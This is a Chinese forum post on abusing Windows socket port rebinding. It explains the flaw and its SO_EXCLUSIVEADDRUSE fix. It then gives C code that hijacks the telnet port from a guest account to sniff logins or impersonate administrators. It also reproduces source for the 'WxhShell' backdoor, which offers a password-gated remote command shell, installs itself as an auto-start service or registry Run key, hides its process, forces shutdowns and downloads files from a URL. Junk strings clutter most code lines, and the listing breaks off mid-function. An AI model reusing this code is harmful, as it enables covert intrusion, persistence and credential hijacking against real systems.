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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [ ~2imS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WmN( (  
A`ajsZ{q,  
  saddr.sin_family = AF_INET; -]H~D4ng  
"aCAA#$J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7B (%2  
x +pf@?w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K +3=gBU*w  
Dfa3&# #{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?%}!_F`h%  
0GXY2+p}S  
  这意味着什么?意味着可以进行如下的攻击: .V?[<}OJn  
8/BMFRJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lM{ fld  
xZlCFu   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +38R#2JV  
+E_yEH7_)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {svo!pN:  
 mPk'a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /:' >-253  
n2hV}t9O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >([,yMIY  
Vm>EF~r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >MYDwH  
UNff &E-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |=m.eU  
9S*"={}%  
  #include ?'9IgT[*  
  #include p2{7+m  
  #include LzNfMvh  
  #include    \/o$io,kV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #c>GjUJ.w  
  int main() @XV&^l -  
  { ACdPF_Y]  
  WORD wVersionRequested; h%Nd89//  
  DWORD ret; hN &?x5aC>  
  WSADATA wsaData; Bhd)# P  
  BOOL val; -` U |5  
  SOCKADDR_IN saddr; EZ]4cd/i  
  SOCKADDR_IN scaddr; EN2SI+  
  int err; U5OX.0  
  SOCKET s;  pUb1#=  
  SOCKET sc; <78|~SKAV  
  int caddsize; _wS=*-fT  
  HANDLE mt; $2?AJ/2r$b  
  DWORD tid;   0!_?\)X  
  wVersionRequested = MAKEWORD( 2, 2 ); R=lw}jH[Z  
  err = WSAStartup( wVersionRequested, &wsaData ); ;*M@LP{*L  
  if ( err != 0 ) { '#V@a  
  printf("error!WSAStartup failed!\n"); _>R aw  
  return -1; 7RL J  
  } MQ-u9=ys  
  saddr.sin_family = AF_INET; )ffaOS!\  
   7|DG1p9C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v{VF>qE P  
og5VB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \7r0]& _  
  saddr.sin_port = htons(23); >8>!wi9U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]VRa4ZB{u  
  { Qs6Vu)U=  
  printf("error!socket failed!\n"); 5M0Q'"`F:  
  return -1; L(VFzPkY%  
  } zVq!M-e  
  val = TRUE; f\]?,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gwRB6m$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <46&R[17M  
  { FklR!*oL,)  
  printf("error!setsockopt failed!\n"); i}sAF/  
  return -1; G`Nw]_ Z_  
  } 1^![8>u"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "w'pIUQ3,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 HcsV q+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j|k/&q[St  
1 :p'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ew~Z/ A   
  { oS fr5 i  
  ret=GetLastError(); c\{N:S>  
  printf("error!bind failed!\n");  Sfz1p  
  return -1; +[!S[KE  
  } )8@-  
  listen(s,2); j Q5F}  
  while(1) mH&7{2r  
  { r ;RYGLx  
  caddsize = sizeof(scaddr); \9)5b8  
  //接受连接请求 p"ZvA^d\   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); CUu Owx6%  
  if(sc!=INVALID_SOCKET) !C#oZU]P  
  { hG?y)g\A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]#)(D-i  
  if(mt==NULL) H5}61JC/z  
  { 'f\9'v  
  printf("Thread Creat Failed!\n"); /?'~`4!(  
  break; K ze?@*  
  } M:/NW-:  
  } {EoYU\x  
  CloseHandle(mt); .Vbd-jr'M  
  } n1."Qix0  
  closesocket(s); .SD-6GVD  
  WSACleanup(); .\R9tt}  
  return 0; h0tiWHw  
  }   PR%)3  
  DWORD WINAPI ClientThread(LPVOID lpParam)  '"B  
  { MJXnAIG?2  
  SOCKET ss = (SOCKET)lpParam; Qr$'Q7  
  SOCKET sc; oMQ4q{&|  
  unsigned char buf[4096]; z1J)./BO  
  SOCKADDR_IN saddr; -V/y~/]J  
  long num; 4X+xh|R:U  
  DWORD val; nR{<xD^  
  DWORD ret; 6e-ME3!<l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 41X`.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "cKD#  
  saddr.sin_family = AF_INET; 3W?7hh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M\R+:O&  
  saddr.sin_port = htons(23); IVNH.g'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r%U6,7d=)  
  { q`*.F#/4c  
  printf("error!socket failed!\n"); |[?Otv  
  return -1; >3!~U.AA'x  
  } o[ZjXLJzV  
  val = 100; _J1\c~ke"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |?T=4~b  
  { ihrf/b  
  ret = GetLastError(); w2 Y%yjCV  
  return -1; DBAyc#&#  
  } Hr?lRaV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \l GD8@,x  
  { sFpg  
  ret = GetLastError(); Kb%Y%j  
  return -1; =X R~I  
  } W=+n |1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @xWWN  
  { Bb/if:XS  
  printf("error!socket connect failed!\n"); cMY}Y [2c  
  closesocket(sc); rN}pi@  
  closesocket(ss); A9xe Oy8e  
  return -1; //63|;EEkl  
  } g04^M (  
  while(1) 1&boD\ 7  
  { \CjJa(vV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?Lg<)B9   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EF)BezG5y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5?0<.f,  
  num = recv(ss,buf,4096,0); R-Edht|{  
  if(num>0) ^~~Rto)Y  
  send(sc,buf,num,0); wA5Iz{uQO  
  else if(num==0) w-K A~  
  break; eFiG:LS7  
  num = recv(sc,buf,4096,0); X:i?gRy"  
  if(num>0) cW%)C.M  
  send(ss,buf,num,0); wH~A> 4*(  
  else if(num==0) <m-(B"F X  
  break; 7Eyi~jes  
  } KQf WpHwfj  
  closesocket(ss); )> ZT{eF  
  closesocket(sc); <XLae'R  
  return 0 ; $g>bp<9v4  
  } syX?O'xJ  
clvg5{^q[  
~+\=X`y  
========================================================== poQ_r <I  
^#R`Uptib  
下边附上一个代码,,WXhSHELL +f/ I>9G  
NY.Cr.}  
========================================================== apL$`{>US  
aO1^>hy  
#include "stdafx.h" =Y2 Rht  
lh;fqn`  
#include <stdio.h> K#OL/2^ 5  
#include <string.h> FyEKqYl  
#include <windows.h> Yi Zk|K_  
#include <winsock2.h> i@rtt M  
#include <winsvc.h> Mq0MtC6-  
#include <urlmon.h> UT3Fi@  
8eB,$;i  
#pragma comment (lib, "Ws2_32.lib") W8& )UtWQ  
#pragma comment (lib, "urlmon.lib") 01mu6)  
9k6s  
#define MAX_USER   100 // 最大客户端连接数 M(C">L]8  
#define BUF_SOCK   200 // sock buffer );!ND %  
#define KEY_BUFF   255 // 输入 buffer \TP$2i%W  
s{^B98d+W  
#define REBOOT     0   // 重启 tD.#*.7  
#define SHUTDOWN   1   // 关机 QM(xMq  
kK75(x  
#define DEF_PORT   5000 // 监听端口 }d. X2?  
YoKE=ln7  
#define REG_LEN     16   // 注册表键长度 #L.,aTA<  
#define SVC_LEN     80   // NT服务名长度 sa.H,<;  
VP1hocW  
// 从dll定义API F6U#EvL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x;?8Zr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y.Z_\@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l= {Y[T&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FAM{p=t]HT  
%,[,mW4l   
// wxhshell配置信息 i]MemM-  
struct WSCFG { 9^/Y7Wp/@  
  int ws_port;         // 监听端口 a"@f< wU~  
  char ws_passstr[REG_LEN]; // 口令 0Md>-H;ZY  
  int ws_autoins;       // 安装标记, 1=yes 0=no _$UJ'W})/  
  char ws_regname[REG_LEN]; // 注册表键名 *}]#E$  
  char ws_svcname[REG_LEN]; // 服务名 w+6P x#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z#.d7B"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *EuX7LEu_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l,o'J%<%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  dfFw6R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ey7zb#/<!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WWp MuB_G  
%_|KiW  
}; Hhtl~2t!0  
y[b 8rv  
// default Wxhshell configuration Q"I(3 tp9[  
struct WSCFG wscfg={DEF_PORT, n3p@duC4  
    "xuhuanlingzhe", )%^l+w+&  
    1, h\!8*e;RAW  
    "Wxhshell", KJ+6Y9b1  
    "Wxhshell", 6 /<Hx@r (  
            "WxhShell Service", 0d+n[Go+S  
    "Wrsky Windows CmdShell Service", k^cZePqE6d  
    "Please Input Your Password: ", L-(bw3Yr>  
  1, T U6s~  
  "http://www.wrsky.com/wxhshell.exe", >5t! Xt  
  "Wxhshell.exe" eWFkUjz  
    }; 3@" :&  
AUD) =a>  
// 消息定义模块 @XJ7ff&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lrJV"H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pm%xX~H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /0\g!29l<  
char *msg_ws_ext="\n\rExit."; ~u%$ 9IhM  
char *msg_ws_end="\n\rQuit."; 3t<a3"{9  
char *msg_ws_boot="\n\rReboot..."; ]$ d ;P  
char *msg_ws_poff="\n\rShutdown..."; ~HIj+kN  
char *msg_ws_down="\n\rSave to "; 1Le8W)J  
gnH {_  
char *msg_ws_err="\n\rErr!"; i+14!LlI  
char *msg_ws_ok="\n\rOK!"; t"B3?<?]  
8-@@QZ\N  
char ExeFile[MAX_PATH]; YC1Bgz  
int nUser = 0; AO5&Y.A#  
HANDLE handles[MAX_USER]; |tAkv  
int OsIsNt; )p>Cf_[.  
 0J+WCm`  
SERVICE_STATUS       serviceStatus; S${%T$>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C<_\{de|9  
xT 06*wQ  
// 函数声明 &pY '  
int Install(void); Movm1*&=  
int Uninstall(void); ^'=[+  
int DownloadFile(char *sURL, SOCKET wsh); ))AxU!*.  
int Boot(int flag); l<1zLA~G  
void HideProc(void); ]$drBk86bh  
int GetOsVer(void); kSV(T'#x  
int Wxhshell(SOCKET wsl);  _".h(  
void TalkWithClient(void *cs); rCF=m]1zxT  
int CmdShell(SOCKET sock); g)6>=Qo`8E  
int StartFromService(void); (kR NqfX  
int StartWxhshell(LPSTR lpCmdLine); z]9t 5I  
ZV--d'YiEm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =6U5^+|d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); no8\Oees  
"_&ZRcd*  
// 数据结构和表定义 bit|L7*14  
SERVICE_TABLE_ENTRY DispatchTable[] = /Pe xtj<  
{ E0I/]0  
{wscfg.ws_svcname, NTServiceMain}, Ug+ K:YUq  
{NULL, NULL} cD]H~D}M  
}; DY#195H  
F'|K>!H  
// 自我安装 }Hb0@ b_  
int Install(void) se.HA  
{ 2V]a+Cgk  
  char svExeFile[MAX_PATH]; J&j5@  
  HKEY key; by+xK~>  
  strcpy(svExeFile,ExeFile); LilK6K  
gIrbOMQ7  
// 如果是win9x系统,修改注册表设为自启动 hV~M!vFxA  
if(!OsIsNt) { WSMpX -^e@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B9|s`o)!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sj I,v+  
  RegCloseKey(key); Pd+*syOM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vz0(D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D]_6OlIE#'  
  RegCloseKey(key); <cOjtq,0  
  return 0; R ?s;L r  
    } D SX%SE)  
  } S!PG7hK2  
} v@]SddP,?  
else { Z-lhJ<0/Pa  
F m:Ys](  
// 如果是NT以上系统,安装为系统服务 @U!&XZ]h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qw5-/p=t  
if (schSCManager!=0) h[u@UGK%  
{ YZ<z lU  
  SC_HANDLE schService = CreateService qeFaY74S  
  ( mn03KF=n]  
  schSCManager, M @KQOAzt  
  wscfg.ws_svcname, l@&-be  
  wscfg.ws_svcdisp, 0S :&wb  
  SERVICE_ALL_ACCESS, l7uTk5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @k{q[6c2 n  
  SERVICE_AUTO_START, 9n is8  
  SERVICE_ERROR_NORMAL, $VQ;y|K+[  
  svExeFile, DTH}=r-  
  NULL, p>eYi \'  
  NULL, R`]@.i4tt  
  NULL, 8x- 19#  
  NULL, /fUdb=!Z  
  NULL cWo>DuW&  
  ); Rd HCbk  
  if (schService!=0) Iu P~Vt{m  
  { hiibPc?I  
  CloseServiceHandle(schService); z2{y<a9;?  
  CloseServiceHandle(schSCManager); Yr"Of*VNH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &[{sA;  
  strcat(svExeFile,wscfg.ws_svcname); )C"ixZ>2xQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QGI@5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %0 {_b68x  
  RegCloseKey(key); x*:VE57,z  
  return 0; U]}FA2  
    } eH7x>[lH.  
  } Io*H}$Gf  
  CloseServiceHandle(schSCManager); m#_Rv  
} qCI7)L`  
} \]4EAKJE  
lr4wz(q<9  
return 1; 7_PY%4T"  
} QxG^oxU}  
Uhr2"Nuuy  
// 自我卸载 $)@D(m,ybd  
int Uninstall(void) %\-E R !b  
{ b>QdP$>  
  HKEY key; _cJ)v/]  
N$Ad9W?T  
if(!OsIsNt) { d+G%\qpzQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @:RoYvk$  
  RegDeleteValue(key,wscfg.ws_regname); Dqo#+_v  
  RegCloseKey(key); h2x9LPLBxT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { baD063P;  
  RegDeleteValue(key,wscfg.ws_regname); bK!h{Rr  
  RegCloseKey(key); 5?H wM[`  
  return 0; N@tKgx  
  } }wRm ~  
} @gb W:  
} w>cqsTq  
else { Wcc4/:`Hu  
[uGsF0#e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D'u7"^=  
if (schSCManager!=0) l0^cdl-  
{ u; KM[FmK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O$r/ {{I.  
  if (schService!=0) Pb;c:HeI/  
  { o}G`t Bz  
  if(DeleteService(schService)!=0) { niCK(&z  
  CloseServiceHandle(schService); )%S@l<%@?  
  CloseServiceHandle(schSCManager); 'u x!:b"  
  return 0; `1P|<VbZ  
  } $%cHplQz5  
  CloseServiceHandle(schService); ms5?^kS2O  
  }  s&pnB  
  CloseServiceHandle(schSCManager); 9s_^?q  
} tqpO3  
} @Q,Q"c2  
O!nS3%De  
return 1; ^CLQs;zXE  
} s !?uLSEdb  
L(C`<iE&3  
// 从指定url下载文件 ;AJQ2  
int DownloadFile(char *sURL, SOCKET wsh) >w<w*pC  
{ @%x2d1FS  
  HRESULT hr; nS3Aadm  
char seps[]= "/"; d/yF}%0QI  
char *token; pD({"A.x9z  
char *file; MhCU; !  
char myURL[MAX_PATH]; 9MfU{4:;I  
char myFILE[MAX_PATH]; yIn$ApSGY  
? -:2f#bC  
strcpy(myURL,sURL); C`t @tgT  
  token=strtok(myURL,seps); W9w*=W )Z  
  while(token!=NULL) @I-gs(  
  { AvrvBz[  
    file=token; .e0)@}Jv8>  
  token=strtok(NULL,seps); bKmwXDv'  
  } b9X*2pnWJ  
S=-$:65  
GetCurrentDirectory(MAX_PATH,myFILE); ^D+^~>f  
strcat(myFILE, "\\"); 9o5D3 d K  
strcat(myFILE, file); In_"iEo,  
  send(wsh,myFILE,strlen(myFILE),0); TyIjDG6tM  
send(wsh,"...",3,0); Rs5lL-I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \X&8EW  
  if(hr==S_OK) Z[IM\# "  
return 0; LWJ ?p-X  
else Y&yfm/Ru  
return 1; f0SrPc v  
bD,X.  
} pml33^*<U  
g=4^u*  
// 系统电源模块 Gu~*ZKyJ  
int Boot(int flag) sq`Xz 8u  
{ V($V8P/  
  HANDLE hToken; KWY_eY_|  
  TOKEN_PRIVILEGES tkp; "."(<c/3  
0)Ephsw  
  if(OsIsNt) { T%)E!:}v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {>1FZsR49t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?v M9 !  
    tkp.PrivilegeCount = 1; ecs 0iW-,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +`GtZnt#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,9bnR;f\  
if(flag==REBOOT) { %\<b{x# G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kd^H}k  
  return 0; B ktRA  
} SdYf^@%}F  
else { =${.*,o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qh&Qsyo%  
  return 0; TC/c5:)]  
} A_9^S!  
  } ]S&ki}i&  
  else { Su,:f_If,  
if(flag==REBOOT) { !-7n69:G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i WD|F-  
  return 0; 4l  ZK@3  
} 0i_:J  
else { klJ21j0Bb2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rT[qh+KWe  
  return 0; 2.z-&lFBZ  
} qMJJBl  
} 6E}9uwQ  
wv3,% lN  
return 1; vO1; ;  
} 6`CRT TJ7  
EWD^=VITL  
// win9x进程隐藏模块 '3672wF/  
void HideProc(void) Ldjz-  
{ #3qeRl  
nFn!6,>E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z;S-Q,  
  if ( hKernel != NULL ) 3>1^$0iq  
  { Y/.C+wW2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GHGyeqNM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2; ^ME\  
    FreeLibrary(hKernel); {o24A: M  
  } ^-Od*DTL  
.}!.4J%q2  
return; 7_i8'(``  
} Kb?{^\FiU  
~'_cBJ 'XD  
// 获取操作系统版本 EhHxB fAQ  
int GetOsVer(void) w2nReB z  
{ \2s`mCY  
  OSVERSIONINFO winfo; [Iks8ZWr_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "O jAhKfG  
  GetVersionEx(&winfo); *XTd9E^tXq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tVn?cS  
  return 1; R7bG!1SHl  
  else /g<Oh{o8  
  return 0; xN-,gT'!  
} g5B TZZ  
|HK:\)L%  
// 客户端句柄模块 ZUQ _u  
int Wxhshell(SOCKET wsl) >Wr%usNxc  
{ d<a|dwAeh  
  SOCKET wsh; O{LCHtN  
  struct sockaddr_in client; '}_r/l]K  
  DWORD myID; Z0Z6a Zeb  
{]^Ixm-,f  
  while(nUser<MAX_USER) ?mg@zq8  
{ 0\%g@j-aD  
  int nSize=sizeof(client); &-ro pY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -@#w)  
  if(wsh==INVALID_SOCKET) return 1; {z FME41>g  
p u(mHB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F^O83[S  
if(handles[nUser]==0) ~ 29p|X<  
  closesocket(wsh); !&VfOx:PN  
else 8?+|4:#=*J  
  nUser++; ]Btkoad  
  } *HKw;I   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >aVgI<  
]b4IO4T  
  return 0; $,4h\>1WP  
} WkTJ M  
fM;,9  
// 关闭 socket Rg?6eN  
void CloseIt(SOCKET wsh) 7N9NeSH  
{ )dT@0Ys%  
closesocket(wsh); !__0Vk[s  
nUser--; [%P#ieD4  
ExitThread(0); CZ5\Et6r  
} %T/@/,7h  
KrE 'M  
// 客户端请求句柄 ntW@Fm:bw>  
void TalkWithClient(void *cs) 9|+6@6VY!  
{ mOE *[S)  
3"y 6|e/5  
  SOCKET wsh=(SOCKET)cs; .9jKD*U|  
  char pwd[SVC_LEN]; z]G|)16  
  char cmd[KEY_BUFF]; s*izhjjX  
char chr[1]; 0* $w(*  
int i,j; ?%s>a8w  
@?3f`l 9  
  while (nUser < MAX_USER) { LIZB!S@V\  
3 t,_{9  
if(wscfg.ws_passstr) { ix3LB!k<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zl9@E;|=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L)sgW(@2  
  //ZeroMemory(pwd,KEY_BUFF); /'/I^ab  
      i=0; qyH -Z@  
  while(i<SVC_LEN) { h|qJ{tUWc$  
vQMBJ&  
  // 设置超时 8`q7Yss6F  
  fd_set FdRead; }E 'r?N  
  struct timeval TimeOut; _Iy\,<  
  FD_ZERO(&FdRead); 8%[pno |0I  
  FD_SET(wsh,&FdRead); @Wu-&Lb  
  TimeOut.tv_sec=8; _;1{feR_  
  TimeOut.tv_usec=0; d?2V2`6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y %JQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V'vR(Wx  
AcH-TIgM/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ux;?WPyr  
  pwd=chr[0]; [^5\Ww  
  if(chr[0]==0xd || chr[0]==0xa) { ks4`h>i  
  pwd=0; L|=5jn9 :  
  break; $T'!??|IF  
  } 6Z2,:j;  
  i++;  7GgZ: $d  
    } '/W$9jm  
gYKz,$  
  // 如果是非法用户,关闭 socket yayhL DL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /A=w`[<  
} 6%v9o?:~l  
@R[{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JB_fS/I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /).{h'^Hq\  
R?{+&r.X  
while(1) { CKsVs.:u  
-pC8 L<  
  ZeroMemory(cmd,KEY_BUFF); h@:K=gg K  
?"B] "%M&  
      // 自动支持客户端 telnet标准   @YJI'Hf67  
  j=0; :D.0\.p  
  while(j<KEY_BUFF) { =*mT{q@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ Z\:Nx  
  cmd[j]=chr[0]; =6%oW2E\  
  if(chr[0]==0xa || chr[0]==0xd) { 22\!Z2@T/  
  cmd[j]=0; R@vcS=m7  
  break; kBu{ bxL  
  } FKa";f"  
  j++; X\|!  
    } {Cx5m   
,^(]zZh  
  // 下载文件 k:@DK9 "^  
  if(strstr(cmd,"http://")) { ^Co-!jM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \/a6h   
  if(DownloadFile(cmd,wsh)) r* *zjv>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Fv tL*  
  else xs$$fPAQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CD|[PkjW  
  } zZ5:)YiW-  
  else { ep0,4!#FAO  
!IxO''4  
    switch(cmd[0]) { S{@}ECla  
  zkQ[<  
  // 帮助 +X}i%F'  
  case '?': { "t@p9>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9Em#Ela  
    break; *XVwTW[a  
  } r"h;JC/&<T  
  // 安装 [Kg b#L'{  
  case 'i': { |c_qq Bd  
    if(Install()) jc} G+|`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TJ|Jv8j<s  
    else I2cz:U7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }f}.>B0#  
    break; x%{]'z  
    } ' W/M>!X  
  // 卸载 ?pDr"XH~  
  case 'r': { PnlI {d  
    if(Uninstall()) d=!:UB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cy/&KWLenf  
    else U|(+-R8Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -N *L1Zj  
    break; EY}:aur  
    } em$pU*`P  
  // 显示 wxhshell 所在路径 y_]+;%w:  
  case 'p': { 1<@SMcj>  
    char svExeFile[MAX_PATH]; mkl{Tp*  
    strcpy(svExeFile,"\n\r"); ,$P,x  
      strcat(svExeFile,ExeFile); FR&`R  
        send(wsh,svExeFile,strlen(svExeFile),0); 1H)mJVIKkB  
    break; ~Bd=]a$mj  
    } LF<&gC  
  // 重启 ,Kit@`P%  
  case 'b': { 8`Ya7c>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eim+oms  
    if(Boot(REBOOT)) my=f}%k=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RaZ>.5 D  
    else { 2ZH+fV?.  
    closesocket(wsh);  Cs,H#L  
    ExitThread(0); Ucj?$=  
    } ZykMri3bi  
    break; nQ%HtXt;  
    } vW63j't_  
  // 关机 {h<D/:^v  
  case 'd': { }[*'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yU$ MB,1  
